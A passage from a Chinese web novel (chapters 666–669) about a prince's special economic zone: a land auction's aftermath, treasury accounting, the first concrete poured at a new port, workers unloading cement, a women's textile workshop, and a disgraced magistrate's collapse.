他的眼神深邃而悠远,仿佛穿透了时空的壁垒,看到了未来巨轮穿梭、桅杆如林、万商云集的深水良港;看到了依托港口而兴起的庞大工业区;看到了辐射整个长江流域乃至南洋的贸易网络;看到了钢铁、水泥、机械、纺织……无数产业如同雨后春笋般拔地而起; 看到了一个以沪县为核心、驱动整个大乾经济腾飞的巨大引擎! 至于眼前这场拍卖? 不过是为这台即将启动的庞然巨兽,注入的第一桶燃料罢了。 那些商贾的贪婪与疯狂,那些天价的成交数字,在他眼中,不过是推动历史车轮前进的、微不足道的尘埃。 “告诉毛梦极,”林臻的声音打破了沉寂,带着一种掌控一切的淡然,“拍卖结束后,加强特区边界巡逻。任何未经许可,擅入息壤区域者……杀无赦。” “是!”黄鼠领命,身影再次无声无息地融入阴影之中。 林臻重新拿起那块温润的羊脂白玉佩,在指尖轻轻转动。 灯火下,玉佩流淌着柔和的光泽,映照着他那双深不见底、仿佛蕴藏着星辰大海的眼眸。 ...... 当王有德用尽全身力气,嘶吼出最后一个标地(崇明沙洲最核心、面积达一千五百亩的“神土之心”)以令人瞠目结舌的四百八十万两白银天价成交时,他手中的紫檀木惊堂木几乎脱手飞出! 那声“咚——!!!”的巨响,如同为这场持续了整整三个时辰的疯狂盛宴敲响了最后的丧钟! 高台之下,早已不复最初的喧嚣。 三百余张紫檀圈椅,此刻如同经历了一场惨烈的鏖战,东倒西歪,猩红的绒垫上沾满了泼洒的茶水、踩烂的瓜果和不知是谁失手打翻的墨汁。 空气中弥漫着浓烈的汗臭味、脂粉味、熏香味、食物馊味以及一种如同硝烟散尽后的、混合着亢奋与虚脱的奇特气息。 商贾们如同被抽干了所有精气神,瘫坐在椅子上,或双目赤红、胸膛剧烈起伏地喘着粗气;或眼神呆滞、失魂落魄地望着虚空;或脸色惨白、冷汗涔涔地捂着胸口(显然是被自己或对手的疯狂竞价吓得不轻); 还有人则如同赌赢了的赌徒,脸上带着劫后余生般的狂喜和一丝难以置信的恍惚,反复摩挲着手中那张盖着鲜红“沪县经济特区招商总署”大印、墨迹未干的“特许开发经营权契约”,仿佛在确认这不是一场梦。 第666章 我买的土地,看都不让看一眼? 那契约上冰冷的条款——“三十年内,享有该地块独家开发经营权”、“须严格按特区统一规划进行建设”、“土地所有权归属朝廷”、“逾期未开发或违规建设,官府有权无偿收回”…… 此刻,在狂热退去后,如同冰冷的针尖,开始隐隐刺痛他们被贪婪灼烧得麻木的神经。 他们付出了家族几代积累、甚至不惜借下巨额高利贷的财富,换来的,只是一张纸,和一片眼下还是一片荒芜滩涂、未来充满不确定性的“神土”开发权! 巨大的落差感和一种难以言喻的空虚感,如同冰冷的潮水,开始悄然淹没方才的狂热。 王有德站在高台上,如同刚从水里捞出来一般,浑身被冷汗浸透,厚重的吉服紧贴在身上,勾勒出他佝偻颤抖的身形。 他脸色灰败如死人,嘴唇哆嗦着,几乎无法站立,全靠两名王府亲兵在身后架着。 他眼神涣散,看着台下那片狼藉和一张张或狂喜或失魂的脸,心中充满了巨大的荒诞感和深入骨髓的恐惧。 他知道,这场由他亲手点燃、最终烧掉数千万两白银的滔天大火,已经把他最后一点利用价值彻底榨干。 他这条命,连同他那些妻妾子女的“普通百姓”身份,都是世子殿下随手施舍的残羹冷炙。 巨大的疲惫和虚脱感如同潮水般将他淹没,他眼前阵阵发黑,几乎要当场晕厥过去。 “诸位贵客!”一个清朗而沉稳的声音打破了这诡异的沉寂。 只见萧寒舟身着崭新的靛青儒衫,身姿挺拔如松,在两名金吾卫士兵的护卫下,步履从容地登上高台。 他取代了几乎瘫软的王有德,站在了拍卖台中央。他的出现,如同注入了一股清流,瞬间吸引了所有人的目光。 “拍卖盛典,圆满落幕!”萧寒舟的声音清晰有力,带着一种安抚人心的力量,“世子殿下感念诸位远道而来,慷慨解囊,共襄盛举!特命在下,代为宣布几项要务!” 他环视台下,目光平静而带着一丝不容置疑的威严: “其一,所有拍得地块之贵客,请即刻前往东侧‘契约签署处’,由王府文吏核对身份、契约条款,并缴纳剩余款项(扣除保证金后)。签署完毕,契约即刻生效!” “其二,自契约签署之日起,三十日之内,请诸位贵客,按照契约所附之《特区开发暂行条例》,提交地块详细开发规划书,交由总署规划建设司(楚惜灵主理)审核批复!逾期未提交或规划不符要求者,视为自动放弃开发权,所付银两概不退还!” “其三,”萧寒舟的声音陡然转冷,带着一丝金吾卫特有的铁血气息, “自即日起,崇明沙洲全境,划为特区军事管制区!由金吾卫毛梦极将军率部接管!未经总署许可,任何人等,不得擅自登岛!违令者格杀勿论!” 最后四个字,如同冰锥砸落,瞬间让台下所有还沉浸在复杂情绪中的商贾们打了个寒颤! 格杀勿论!? 他们刚刚砸下几百万两银子买下的“地”,竟然连看一眼都不行?! 巨大的不满和疑虑瞬间涌上心头! “萧大人!”那位以四百八十万两拍下“神土之心”的扬州盐枭赵四海猛地站起身,他身材魁梧,满脸横肉,此刻因为激动和肉痛而涨得通红,“我们花了真金白银买下这地!连上去看看都不行?!这……这是什么道理?!万一……万一那地……” “赵老板!”萧寒舟目光如电,瞬间锁定赵四海,声音不高,却带着一种洞穿人心的力量,“世子殿下钧令如山!‘息壤’乃天地神物,关乎国运!岂容闲杂人等随意践踏窥探?!” 他顿了顿,语气带着一丝不容置疑的安抚(或者说警告): “至于地块详情,契约所附舆图标注清晰,水深、土质、扩张方向,皆由文昌阁楚大家亲自勘测,绝无虚假!诸位若对地块存疑,尽可查阅契约!但登岛……” 他嘴角勾起一抹冰冷的弧度:“除非拿到总署颁发的‘建设许可’及‘登岛勘测令’,否则擅闯者,金吾卫的弩箭,可不认人!” 赵四海被萧寒舟那冰冷的眼神看得心中一寒,再想到金吾卫那如狼似虎的煞气,满腔的怒火和质疑瞬间被压了下去,只能悻悻地坐下,脸色铁青。 萧寒舟不再理会他,目光扫过全场,声音恢复清朗: “其四,也是世子殿下对诸位的体恤!总署已在县城西侧,设立特区招商服务中心!由张俪夫人亲自坐镇!专司协助诸位处理开发事宜!包括工匠招募、建材采购、甚至小额建设贷款咨询!” “其五,”他脸上露出一丝极淡的、带着官方意味的笑容,“为庆贺拍卖圆满成功,答谢诸位贵客,总署特于明晚,在望江楼设宴!世子殿下将亲临!与诸位共商特区发展大计!望诸位务必赏光!” “世子殿下亲临?!” “共商大计?!” 这个消息如同投入平静湖面的巨石,瞬间在商贾中引起了巨大的骚动! 方才的不满和疑虑,瞬间被巨大的惊喜和期待取代! 能面见世子殿下! 这简直是天大的荣耀和机会! 如果能得到殿下的青睐或指点,那这几百万两银子花得就太值了! 一时间,方才的颓丧和空虚被新的狂热取代,商贾们纷纷起身,争先恐后地涌向东侧的契约签署处,生怕去晚了错过面见世子的机会。 萧寒舟看着台下再次涌动的人潮,眼中闪过一丝不易察觉的冷嘲。 他转身,对架着王有德的两名士兵低声吩咐:“带他下去,找个郎中看看,别让他死在这里。” 语气淡漠,如同处理一件废弃的工具。 王有德如同烂泥般被拖了下去,消失在阴影中。 萧寒舟则负手而立,站在高台边缘,如同一位年轻的统帅,冷静地俯瞰着这场由他师父一手导演、刚刚落下帷幕的资本大戏的收尾工作。 火光映照着他年轻而坚毅的侧脸,那双深邃的眼眸中,闪烁着对师父那翻云覆雨手段的深深敬畏和对未来宏图伟业的无限憧憬。 ??(场景:县衙金库·白银的洪流)?? 第667章 第一桩混凝土 县衙深处,一座由原本坚固粮仓临时改建、并被金吾卫里三层外三层严密把守的库房内,此刻正上演着一场无声却震撼人心的财富洪流! 库房大门洞开,沉重的包铁木门被彻底卸下。 门外,数十辆由健壮骡马牵引的、包裹着厚厚铁皮的沉重银车,排成一条蜿蜒的长龙! 车上满载着大小不一、贴着封条的沉重木箱! 每一辆银车旁,都有数名金吾卫士兵手持劲弩,目光如鹰隼般警惕地扫视着四周,空气中弥漫着肃杀之气。 库房内,灯火通明! 数十盏巨大的牛油蜡烛将室内照耀得纤毫毕现。 地面铺着崭新的、厚实的青石板。 此刻,库房中央,如同小山般,已经堆起了数十座由银锭、金砖、成箱的珠宝玉器、甚至还有成捆的盐引、粮票堆砌而成的财富之丘! 银锭在烛光下反射着冰冷刺目的白光,金砖流淌着诱人的暗金色泽,珠宝玉器在火光中闪烁着七彩的眩光! 空气中弥漫着浓烈的金属气息和一种令人窒息的、名为“财富”的压迫感! 张俪身着利落的玄色劲装,外罩一件素色半臂,乌黑的长发简单地绾成一个髻,用一根玉簪固定。 她站在库房中央临时搭建的高台上,身姿挺拔如青松,眼神锐利如鹰隼,周身散发着商界女王特有的精明干练和掌控全局的强大气场! 她手中拿着一本厚厚的、封面烫金的账册,身旁侍立着十余名王府精心培养、精通算学和财务的心腹文书。 每个人都神情专注,动作麻利。 “扬州赵记盐行!尾款白银一百八十万两!黄金五万两!点验无误!入库——!”一名文书高声唱喏,声音在巨大的库房中回荡。 “是!” 下方,数十名赤着上身、肌肉虬结的壮汉(由王府亲卫临时充当力夫)齐声应喝! 他们两人一组,用粗大的木杠抬起一口口沉重无比的包铁木箱,喊着整齐的号子,步履沉稳地将箱子抬到指定的区域,由专门的“开箱验银官”撬开封条,打开箱盖! “哗啦——!”白花花的银锭如同瀑布般倾泻而出! 在青石板上堆起一座新的银山! 刺目的银光瞬间照亮了周围人的脸庞! “成色上等!足斤足两!无误!”验银官高声确认。 “记账!”张俪的声音清脆果断,手中的朱笔在账册上飞快地划下一个勾,标注上精确的数字。 “苏杭孙氏丝绸行联合体!尾款白银两百二十万两!东珠十斛!南海珊瑚树两株(高五尺)!点验无误!入库——!” “金陵周记通宝钱庄!尾款白银一百五十万两!前朝古画三幅(经鉴定为真迹)!田黄石印章一方!入库——!” “京城庆郡王府门下皇商李慕白!尾款黄金十万两!极品翡翠原石三块!入库——!” 唱喏声此起彼伏,银车如同流水般驶入,沉重的木箱被不断抬入、开箱、验看、堆砌! 白银、黄金、珠宝、古董、票据……各种各样的财富形态,如同百川归海般,源源不断地汇入这座临时金库! 银山在增高! 金山在堆叠! 珠光宝气几乎要晃瞎人眼! 整个库房仿佛变成了传说中的藏宝洞!空气中那浓烈的金属气息几乎凝成了实质,压得人喘不过气! 张俪站在高台上,冷静地指挥着这一切。 她的目光扫过那不断增长的财富之山,眼中没有丝毫寻常女子面对巨额财富时的迷醉或贪婪,只有一种如同最高明的棋手审视棋盘般的冷静与掌控。 她手中的朱笔如同指挥棒,精确地记录着每一笔流入的财富,将其分门别类,纳入不同的“账目”——“深水港建设基金”、“道路桥梁基金”、“移民安置基金”、“工业启动基金”…… 每一笔钱,在她眼中,都不是冰冷的金属,而是即将转化为钢铁、水泥、粮食、人力,推动沪县这座庞大机器轰然启动的燃料! “禀夫人!”一名负责外围警戒的金吾卫小校快步跑入,单膝跪地,“户部侍郎刘墉大人派来的特使到了!手持刘大人手令,要求查验拍卖款项,并提取部分岁贡份额!” 张俪手中的朱笔微微一顿,头也没抬,声音平静无波,却带着一股不容置疑的寒意: “告诉他,世子殿下有令!特区款项,专款专用!未经殿下亲笔手谕,任何人不得擅动分毫!让他从哪里来回哪里去。” “是!”小校领命,转身大步离去。 张俪的目光重新落回账册,朱笔继续飞快地记录着。 火光映照着她沉静而美丽的脸庞,那上面写满了对夫君(林臻)命令的绝对忠诚和对庞大财富的绝对掌控。 她知道,这只是开始。 这笔汇聚了无数贪婪与野心的滔天财富,将在她的手中,被锻造成一把开启沪县乃至整个大乾未来的钥匙。 ??...... 黎明前最黑暗的时刻。 长江入海口,风高浪急。 漆黑的夜幕下,浩瀚的东海如同蛰伏的巨兽,发出低沉的咆哮。 崇明沙洲那新月形的轮廓,在微弱的天光下若隐若现,如同漂浮在墨海中的一叶孤舟。 然而,此刻的沙洲西北角,那片被标注为“天然深水锚地”的区域,却打破了夜的沉寂! 数十艘巨大的、吃水极深的漕船和经过加固改造的货船,如同沉默的巨鲸,静静地停泊在距离沙洲数百丈外的深水区。 船上没有灯火,只有影影绰绰的人影在无声地忙碌着。 粗大的缆绳从船舷垂下,深入漆黑的海水。 沙洲边缘,临时搭建的简易木质栈桥如同一条伸向大海的手臂。 栈桥尽头,火光通明! 数百支熊熊燃烧的火把插在临时夯实的滩涂上,将方圆数十丈的海域照耀得如同白昼! 跳动的火光映照着浑浊的海水、粗糙的沙砾和一张张黝黑而坚毅的脸庞! 毛梦极一身玄黑鱼鳞细甲,外罩防水油衣,按刀立于栈桥最前端。 他身形枯瘦,脸上那道狰狞的刀疤在火光下如同蠕动的蜈蚣,眼神却锐利如鹰,扫视着海面和滩涂。 他身后,是五百名同样装束、如同标枪般挺立的金吾卫精锐! 他们背负着连发劲弩“追魂”,腰悬狭锋横刀,手持精钢圆盾“寸芒”,眼神冷冽,杀气内敛,如同一群沉默的礁石,任凭风吹浪打,岿然不动! 栈桥两侧的浅水区,上千名从沪县及周边州县紧急招募来的青壮民夫,正喊着整齐而低沉的号子,奋力劳作着! 他们大多赤着上身,只穿着短裤,古铜色的皮肤上沾满了泥浆和汗水,在火光下油亮发光。海水没过他们的小腿甚至腰部,冰冷刺骨,却无法阻挡他们热火朝天的干劲! “嘿哟!嘿哟!!” 号子声低沉而有力,如同闷雷滚过海面! 民夫们分成数组: 一组负责清理滩涂!他们挥舞着巨大的铁耙和木铲,将滩涂上丛生的芦苇、淤泥、碎石杂物奋力清除,开辟出平整的作业面!汗水混合着泥浆从他们脸上滚落。 一组负责打桩!两人一组,一人扶住碗口粗、丈许长的坚硬木桩(取自附近山林),另一人则抡起沉重的铁锤,喊着号子,将木桩狠狠地砸入滩涂深处!沉闷的“咚咚”声不绝于耳! 一组负责搬运石料!从停泊在深水区的大船上,通过滑轮组和粗大的绳索,将一块块重达数百斤、甚至上千斤的、经过粗略打磨的巨型条石,缓缓吊起,小心翼翼地运送到栈桥尽头指定的位置!每一块巨石落下,都发出沉闷的巨响,溅起巨大的水花! 更有一组水性极好的渔家子弟,如同灵活的游鱼,潜入冰冷的海水中,在预定位置打下定位的木桩,为后续的深水码头建设打下基础! 楚惜灵一身便于行动的靛蓝色工装,长发简单地束在脑后,脸上沾着几点泥污,却丝毫掩盖不住她专注而智慧的光芒。 她站在栈桥旁一处稍高的土堆上,手中拿着那份巨大的羊皮舆图和一个精巧的罗盘。 海风吹拂着她的衣袂,火光映照着她清丽而坚毅的侧脸。她时而低头对照舆图上的标记,时而举起手臂,用清晰而冷静的声音指挥着: “左三!再偏半尺!对!落!” “水深测量组!报告三号定位桩处水深!” “石料组!下一块巨石准备!对准乙字位!” 她的声音不高,却清晰地穿透了海浪声和号子声,如同精准的坐标,引导着这场浩大而复杂的奠基工程有条不紊地进行。 她的眼神锐利如鹰,不放过任何一个细节的偏差。 在她身边,几名从皇家书院带来的年轻学生,正紧张地记录着数据,或者飞快地计算着什么。 “毛将军!”楚惜灵看向栈桥尽头的毛梦极,“一号码头基座石垒砌完成!可以开始浇筑‘水泥’基座了!” 毛梦极枯瘦的脸上没有任何表情,只是微微颔首。他猛地一挥手! “水泥组!上!” 早已等候在栈桥后方的数十名民夫立刻行动起来! 他们推着特制的、包着铁皮的独轮木车,车上装着用厚厚油布覆盖的、灰扑扑的粉末状物体——正是从山东日夜兼程运来的第一批“水泥”! 民夫们小心翼翼地将水泥倾倒入巨大的木槽中,另一组人则迅速将早已准备好的、从长江上游运来的洁净河沙和碎石按比例倒入! 最后,加入适量的江水! “搅拌!快!搅拌均匀!”工头大声吆喝着! 十几名壮汉立刻跳入木槽,挥舞着特制的长柄铁铲,奋力搅拌起来!灰黑色的泥浆迅速成型,发出一种奇特的、略带刺鼻的气味! “浇筑!!”随着楚惜灵一声令下! 搅拌好的水泥砂浆被迅速装入木桶,由民夫们接力传递,运送到栈桥尽头刚刚垒砌好的巨石基座处! “哗啦——!” 灰黑色的、粘稠的水泥砂浆被倾倒在巨石缝隙和基座表面! 民夫们立刻用木刮板将其刮平、压实!水泥特有的、略带刺鼻的气味在空气中弥漫开来! 这是历史性的一刻! 在这片荒凉的沙洲上,在这黎明前最黑暗的时刻,在这火把与海浪的交响中,第一捧现代意义上的“混凝土”,被浇筑在了大乾王朝的土地上! 它将成为未来那座沟通四海、连接世界的深水巨港的第一块基石! 毛梦极按着刀柄,站在栈桥尽头,冰冷的海风夹杂着水汽和水泥粉尘扑面而来。 他望着眼前这热火朝天、却又井然有序的建设场面,望着那在火光中逐渐成型的粗糙基座,望着楚惜灵那在寒风中挺立的身影,他那双如同万年寒冰般的眼眸深处,似乎也掠过一丝极其微弱的、名为“希望”的光芒。 他知道,这不仅仅是在建一个码头,更是在浇筑一个全新的、充满无限可能的未来! 世子殿下的宏图伟业,正从这片荒凉的滩涂上,迈出了坚实的第一步! 东方天际,一抹微弱的鱼肚白悄然浮现,撕破了沉重的夜幕。 海天相接处,泛起一丝淡淡的金红。 黎明,即将到来。 第668章 初冬 长江入海口,天光微熹。 铅灰色的云层低垂,海风裹挟着咸腥的水汽和初冬的寒意,呼啸着掠过崇明沙洲新生的滩涂。 浑浊的江水与灰蓝的海水在此交汇、碰撞,激起层层叠叠的白沫,发出永不停歇的轰鸣。 然而,在这片曾经荒凉沉寂的沙洲西北角,一种截然不同的、充满力量感的轰鸣,正撕裂着黎明的寂静! 一座庞大而粗犷的港口,如同从沉睡中苏醒的钢铁巨兽,正逐渐显露出它峥嵘的轮廓! 长达数百丈的木质栈桥,如同巨人的臂膀,从新平整的滩涂坚定地伸向深水区。 栈桥主体由合抱粗的南洋铁力木桩深深打入海床,支撑起厚实的硬木铺板。 栈桥两侧,是如同肋骨般延伸出去的、更宽大的装卸平台。 平台边缘,数十架巨大的、由精铁和硬木制成的吊臂“天车”如同钢铁森林般矗立! 粗大的铁链垂落,末端悬挂着巨大的铁钩和网兜。 这些吊臂结构简单却异常坚固,依靠人力绞盘驱动,是楚惜灵结合古籍记载和现实条件设计的“过渡型”利器。 此刻,港口已是一片沸腾的工地! “呜——呜——!” 低沉而悠长的汽笛声划破海雾! 一艘船身漆成玄黑色、悬挂着镇北王府蟠龙旗、烟囱喷吐着滚滚黑烟的庞然大物,如同移动的山峦,缓缓驶入刚刚疏浚完毕的主航道! 正是从武清特区日夜兼程赶来的第一艘大型蒸汽货轮——“破浪号”! 它那钢铁铸就的船身,在晨光中闪烁着冷硬的光泽,与周围木质的栈桥、帆船形成鲜明对比,象征着工业文明对古老农耕的冲击! “破浪号到了!准备接驳!!”栈桥尽头,一名身穿靛蓝色工装、头戴藤盔的工头(由金吾卫老兵转任)挥舞着红色三角旗,用嘶哑的嗓音高声吼叫! 声音瞬间被海风撕碎,却又被无数应和的呼喊接力传递! “哐当!哐当!”沉重的铁锚带着刺耳的金属摩擦声,坠入浑浊的海水,激起巨大的浪花! “抛缆!!”船上的水手吼叫着,将碗口粗的麻绳缆绳奋力抛向栈桥! “接住!快!”栈桥上的力工们如同敏捷的猿猴,迅速接住缆绳,套在粗大的铸铁系缆桩上!动作麻利,配合默契! “开舱!卸货!!”随着又一声号令,“破浪号”那巨大的、如同怪兽巨口般的侧舷舱门在蒸汽阀门的嘶鸣声中缓缓开启! 一股浓烈的、混合着铁锈、机油、石灰和某种刺鼻化学气味的独特气息,瞬间弥漫开来! 舱门内,是堆积如山的货物!最显眼的,是码放整齐、如同城墙般的灰黑色麻袋! 麻袋上印着醒目的黑色大字——“武清·325#硅酸盐水泥”! 每一袋都足有百斤重! 在麻袋墙后面,隐约可见成捆的螺纹钢筋、粗大的铸铁管件、成箱的螺栓螺母、甚至还有几台用油布包裹着的、结构复杂的蒸汽驱动小型机械! “水泥!是水泥!!” “钢筋!还有铁管子!” “老天爷!这么多!” 栈桥上等待的工人们发出压抑不住的惊呼! 他们大多是沪县本地招募的壮丁,或是从周边州县逃荒而来的流民,何曾见过如此海量的、象征着“新世界”的物资?! “力工营!上!!”工头的声音如同炸雷! 早已在栈桥列队等候的数百名力工,如同听到冲锋号令的士兵,瞬间动了起来! 他们大多赤着上身,只穿着一条粗布短裤,脚踩草鞋或干脆赤脚。古铜色的皮肤在寒风中绷紧,肌肉虬结的臂膀和脊背上,早已布满了搬运重物留下的青紫淤痕和厚厚的老茧。 “嘿哟!嘿哟!嘿哟!!” 低沉而雄浑的号子声瞬间压过了风声浪吼! 如同远古部落的祭祀战歌,充满了原始的力量感! 第一组力工如同潮水般涌上“破浪号”宽大的跳板! 两人一组,配合默契! 一人弯腰,双臂如同铁钳般死死扣住麻袋底部;另一人则抓住麻袋上沿,身体猛地发力! “起——!!” 伴随着一声齐吼!重达百斤的水泥袋被稳稳抬起!扛上肩头! “走!!” 力工们迈开沉重的步伐,踏着坚实的跳板,走下货轮,踏上栈桥! 每一步落下,栈桥的厚木板都发出不堪重负的“吱呀”呻吟! 汗水瞬间从他们古铜色的皮肤上涌出,在寒冷的晨风中蒸腾起淡淡的白气! 他们低着头,脖颈上青筋暴起,牙齿紧咬,眼神却异常坚定! 沉重的麻袋压弯了他们的腰,却压不垮他们求生的意志! 他们知道,肩上扛的不仅是水泥,更是自己和家人活下去的希望! 是世子殿下许诺的“一天三顿饱饭”和“月底能拿回家的铜钱”! “快!快!码到乙字区!别堵路!!”工头挥舞着皮鞭威慑,声嘶力竭地指挥着。 扛着水泥袋的力工们如同蚂蚁搬家,在栈桥上形成两条流动的人河! 一条上船,一条下船!源源不断! 他们将水泥袋扛到指定的堆场,那里早已用三合土夯平了地面,铺上了防潮的油毡。 负责堆垛的工人立刻上前,接过麻袋,如同搭积木般,一层层、交错堆叠,垒成一座座整齐的方阵! “钢筋组!上!!”工头的声音再次响起! 另一组专门挑选出来的、身材格外魁梧的壮汉立刻上前! 他们四人一组,喊着更加沉重的号子,用粗大的木杠和绳索,将成捆的、手臂粗细的螺纹钢筋从船舱里抬出! 钢筋沉重异常,压得木杠都发出“嘎吱”的呻吟! 壮汉们每一步都走得极其艰难,脚掌深深陷入栈桥的木板,汗水如同小溪般顺着他们黝黑的脊背流淌,滴落在冰冷的木板上,瞬间凝结成霜! 但他们眼神凶狠,牙关紧咬,如同在与无形的巨兽搏斗! “小心!慢点!别砸了脚!!”工头紧张地吼叫着。 “哐当!”一声闷响!一捆钢筋重重落在堆场! 震得地面都微微一颤! “管子组!接上!!” 第三组力工则负责那些粗大的铸铁管件。 这些管子更长、更沉,需要更多人协作。 六人一组,喊着整齐的号子,如同抬着巨龙的骸骨,缓慢而沉重地将它们从船舱移出,运往堆场。 整个港口,如同一台精密而庞大的机器,在号子声、铁链声、蒸汽嘶鸣声、工头吼叫声、海浪拍击声的交响中,高速运转! 力工们的身影在晨雾与蒸汽中穿梭,如同不知疲倦的工蚁。 汗水、喘息、沉重的脚步声、肌肉的颤抖……汇成一股原始而磅礴的生命力量! 他们用血肉之躯,扛起了这座新兴港口的第一块基石,也扛起了沪县特区崛起的沉重希望! 楚惜灵裹着一件厚实的靛蓝色棉斗篷,站在栈桥尽头一处临时搭建的木质瞭望台上。 海风吹乱了她的鬓发,冻得她鼻尖通红,但她却浑然不觉。 她手中拿着一个硬皮笔记本和一支炭笔,目光锐利如鹰隼,扫视着整个港口作业区。 她时而低头飞快地记录着什么(卸货效率、人力分配、安全隐患),时而举起一个黄铜打造的简易扩音筒,用清冷而清晰的声音下达指令: “甲三组!加快速度!后面船要进港了!” “丙字区!钢筋堆放间距不够!重新调整!注意防锈油!” “丁字区!管子末端加垫木!防止滚动!” “蒸汽吊机组准备!下一批是精密机械!必须稳!” 她的声音穿透嘈杂,精准地传入各个工区负责人的耳中。这位年轻的工程总指挥,以其惊人的专业素养、冷静的头脑和对细节的苛求,赢得了所有工头和工人们的敬畏。 毛梦极如同一尊黑色的雕塑,按刀伫立在栈桥入口处。 他枯瘦的身影在寒风中纹丝不动,玄色鱼鳞甲上凝结着细密的水珠。 他那双锐利如鹰隼的眼睛,警惕地扫视着港口内外,任何可疑的动向都逃不过他的视线。 他身后,一队队金吾卫士兵如同标枪般挺立,冰冷的铠甲在晨光中闪烁着寒芒,无声地宣示着这里的绝对秩序和安全。 他们是这座沸腾港口的定海神针,确保着这庞大机器在高压下安全、高效地运转。 ?? 第669章 林臻,你好狠的心 距离港口数里之遥,在沪县新城规划中的“轻工产业区”内,一座由巨大库房改造而成的纺织工坊里,却是另一番热火朝天的景象。 空气中弥漫着棉絮的粉尘、新布匹的浆水味、以及蒸汽熨斗熨烫布料时散发出的、略带焦糊的独特气息。 巨大的空间被合理分割:纺纱区、织布区、印染区、裁剪缝纫区……上百架崭新的、由武清机械厂制造的脚踏式纺纱机和飞梭织布机整齐排列,发出连绵不绝的“咔哒咔哒”声和“哐当哐当”的节奏声,汇成一股充满生机的工业交响乐! 这里的主角,不再是赤膊的力工,而是数百名穿着统一浅蓝色粗布工装、头戴白色布帽的女工! 她们大多来自沪县本地及周边州县,年龄从十五六岁的少女到三四十岁的妇人不等。 她们是沪县特区“女工营”的第一批成员,是张俪和浣碧精心挑选、培训的成果。 王氏(王有德正妻)此刻正坐在一台飞梭织布机前。 她穿着和其他女工一样的蓝色工装,头发一丝不苟地挽在帽子里,脸上没有了往日的脂粉,却多了一份久违的专注和平静。 她手脚麻利地操作着织机,眼神紧盯着穿梭的飞梭和逐渐成型的布匹,动作熟练而流畅。 谁能想到,一个月前,她还是那个养尊处优、十指不沾阳春水的县令夫人? 生活的剧变和生存的压力,让她迅速褪去了娇贵,磨砺出坚韧。 虽然手指被棉线勒出了红痕,腰背因为久坐而酸痛,但当她拿到第一个月的工钱——沉甸甸的一串铜钱时,那份自食其力的踏实感和尊严感,让她觉得一切都值得。 六姨娘则在缝纫区。 她心灵手巧,被分配负责成衣的精细缝纫和盘扣制作。 她低着头,长长的睫毛在眼下投下淡淡的阴影,神情专注而宁静。 纤细的手指捏着银针,在布料上灵巧地穿梭,针脚细密均匀。 在这里,没有人知道她的过去,没有人用异样的眼光看她。 她只是一个靠手艺吃饭的普通女工。 这份宁静和自足,对她而言,如同久旱逢甘霖。 偶尔抬头,看到工坊里姐妹们忙碌而充满希望的身影,她的嘴角会不自觉地勾起一抹浅浅的、发自内心的笑意。 九姨娘年纪最小,在纺纱区负责给纺纱机添棉和清理飞絮。 她动作还有些笨拙,小脸上沾着棉絮,像只小花猫。 但她学得很认真,大眼睛里充满了好奇和干劲。 工坊里的大姐们都很照顾她,教她手艺,给她留好吃的点心。在这里,她感受到了从未有过的温暖和归属感。 “姐妹们!加把劲!”张俪穿着一身利落的靛蓝绣银线箭袖长裙,外罩一件素色半臂,如同巡视领地的女王,在工坊中穿行。 她声音清亮,带着鼓舞人心的力量,“这批‘沪锦’是世子殿下亲自为边军订购的冬衣料!务必保证质量!按时交货!月底的绩效奖金和评星,就看大家的表现了!” “是!夫人!”女工们齐声应道,声音清脆而充满活力。 她们手上的动作更快了,眼神也更加专注。 世子殿下的订单! 边军的冬衣! 这不仅是一份工作,更是一份荣耀和责任! 月底的奖金和评星,更是实实在在的盼头! 浣碧则安静地坐在工坊角落的一张书案后,面前摊开着账本和名册。 她负责工坊的日常管理和女工们的考勤、薪酬发放。 她神情温婉,动作细致,一丝不苟地记录着每一个细节。 偶尔抬头看看工坊里忙碌的景象,眼中充满了欣慰和温柔。 这些曾经深陷绝望的女人,如今在这里找到了新生和希望。 这比任何金银财宝都更让她感到满足。 工坊窗外,阳光透过蒙尘的玻璃窗照射进来,在飞舞的棉絮中形成一道道朦胧的光柱。 空气中弥漫着汗水、棉絮和希望的味道。 这里没有港口的粗犷与轰鸣,却有着另一种坚韧而温暖的力量,如同涓涓细流,滋养着沪县新生的肌体。 ??...... 与港口和工坊的生机勃勃截然相反,在沪县新城边缘,一片尚未完全拆除、暂时安置流民和原沪县底层百姓的窝棚区深处,一间低矮、阴暗、散发着霉味和尿臊气的破败土坯房里,王有德正蜷缩在冰冷的土炕角落,如同一具被抽走了灵魂的干尸。 他身上那件象征戴罪立功的青色吏服早已污秽不堪,沾满了泥垢和呕吐物的痕迹,散发着难闻的酸臭。 脸上厚厚的脂粉早已被泪水、汗水和污垢冲刷干净,露出底下蜡黄浮肿、布满皱纹和死气的底色。 眼窝深陷,眼神空洞涣散,如同蒙上了一层灰翳。嘴唇干裂起皮,微微哆嗦着,发出含糊不清的呓语。 自从拍卖会结束后,他就被王府的人像扔垃圾一样,丢到了这片贫民区。 王府兑现了承诺,给了他和他那个小儿子霖哥儿一个普通百姓的身份,也给了他们一份糊口的活计——在新建的公共茅厕清理粪便。 这活计肮脏、卑贱、臭气熏天,是真正的下九流! 但王有德连这份活计都干不了几天。 巨大的精神打击、身体的彻底垮塌、以及那深入骨髓的耻辱感和绝望,让他迅速崩溃。 他如同行尸走肉般活着,靠邻居偶尔的施舍和儿子从工地上偷带回来的半个窝头苟延残喘。 “爹……爹……喝点水吧……”一个稚嫩而带着哭腔的声音响起。 霖哥儿端着一个豁了口的破碗,里面是浑浊的凉水。 他小脸脏兮兮的,穿着打满补丁的粗布衣服,但眼神却比一个月前清澈了许多,也坚强了许多。 他白天在港口工地帮人跑腿打杂,晚上回来照顾这个已经疯疯癫癫的父亲。 王有德浑浊的眼珠微微转动了一下,茫然地看着眼前的孩子。 他似乎认出了这是他的儿子,又似乎没有。 他嘴唇哆嗦着,发出“嗬嗬”的怪响,突然,他猛地伸出手,死死抓住霖哥儿瘦弱的胳膊! “钱……我的钱……我的银子……金子……都……都到哪里去了?!啊?!”他声音嘶哑而尖利,充满了疯狂的执念, “我的……我的县令大印呢?!我的官袍呢?!还给我!还给我!!” 他用力摇晃着霖哥儿,枯瘦的手指如同铁钳,掐得孩子生疼。 “爹!爹!你放手!放手啊!”霖哥儿疼得眼泪直流,用力挣扎着,“没有银子了!没有官袍了!我们……我们是普通百姓了!世子殿下……给了我们活路……” “活路?!哈哈……哈哈哈……”王有德突然爆发出一阵凄厉而癫狂的大笑,笑声如同夜枭啼血,充满了无尽的悲凉和绝望, 